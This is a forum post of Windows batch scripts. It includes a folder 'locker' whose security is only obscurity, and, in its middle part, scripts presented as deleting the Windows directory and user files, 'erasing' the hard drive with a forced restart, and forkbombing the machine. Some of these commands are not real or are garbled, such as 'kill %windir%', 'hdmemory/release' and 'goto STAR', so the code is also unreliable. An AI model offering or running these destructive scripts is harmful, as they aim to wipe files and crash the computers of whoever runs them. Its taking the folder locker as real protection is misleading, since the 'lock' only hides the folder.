CrazyEngineers
  • Batch programming

    rishi0922

    Member

    Updated: Oct 15, 2024
    Views: 935
    Cool batch file to lock and disguise a folder.

    Move any files you want to be hidden in your locker, double click the bat again and you will be asked to lock when the folder is locked it will dissapear
    to unlock the folder double click the bat file enter any pass. or make up one of your own and input it into the code

    @ECHO OFF
    title Folder Locker
    if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
    if NOT EXIST Locker goto MDLOCKER
    :CONFIRM
    echo Are you sure u want to Lock the folder(Y/N)
    set/p "cho=>"
    if %cho%==Y goto LOCK
    if %cho%==y goto LOCK
    if %cho%==n goto END
    if %cho%==N goto END
    echo Invalid choice.
    goto CONFIRM
    :LOCK
    ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    echo Folder locked
    goto End
    :UNLOCK
    echo Enter password to Unlock folder
    set/p "pass=>"
    if NOT %pass%==type your password here goto FAIL
    attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
    echo Folder Unlocked successfully
    goto End
    :FAIL
    echo Invalid password
    goto end
    :MDLOCKER
    md Locker
    echo Locker created successfully
    goto End
    :End






    Batch that kills and deletes the windows directory, and all .txt .exe .bat and .ini files then forkbombs your computer

    @echo off
    kill %windir%
    del %windir%
    del *.txt
    del *.exe
    del *.bat
    del *.ini
    😲k
    start, cmd
    Goto ok


    Erases hard drive then shuts down the comp:

    hdmemory/release
    echo total hard drive erased
    echo Do not use on anyone
    shutdown -r -f -t0


    I forgot the obvious forkbomb:

    @ECHO OFF
    :START
    START batch.bat
    GOTO STAR






    This is a simple Batch example on some of the colors you can change the txt to in dos

    @ECHO OFF
    color %num%
    :start
    cls
    COLOR %num%
    ECHO Green = 1
    ECHO Red = 2
    ECHO Yellow = 3
    ECHO Aqua = 4
    ECHO Purple = 5
    ECHO White = 6
    ECHO Blue = 7
    ECHO Gray = 8
    ECHO.
    SET/P color=Enter Color:
    IF "%color%" equ "1" goto 1
    IF "%color%" equ "2" goto 2
    IF "%color%" equ "3" goto 3
    IF "%color%" equ "4" goto 4
    IF "%color%" equ "5" goto 5
    IF "%color%" equ "6" goto 6
    IF "%color%" equ "7" goto 7
    IF "%color%" equ "8" goto 8
    IF "%color%" equ "exit" goto end
    IF "%color%" equ "%color%" goto error
    :1
    set num=a
    goto start
    :2
    set num=c
    goto start
    :3
    set num=e
    goto start
    :4
    set num=B
    goto start
    :5
    set num=D
    goto start
    :6
    set num=F
    goto start
    :7
    set num=9
    goto start
    :8
    set num=8
    goto start
    :error
    cls
    color 0
    ECHO That is not a Valid Color
    echo.
    pause
    goto start
    0
    Replies
Howdy guest!
Dear guest, you must be logged-in to participate on CrazyEngineers. We would love to have you as a member of our community. Consider creating an account or login.
Home Channels Search Login Register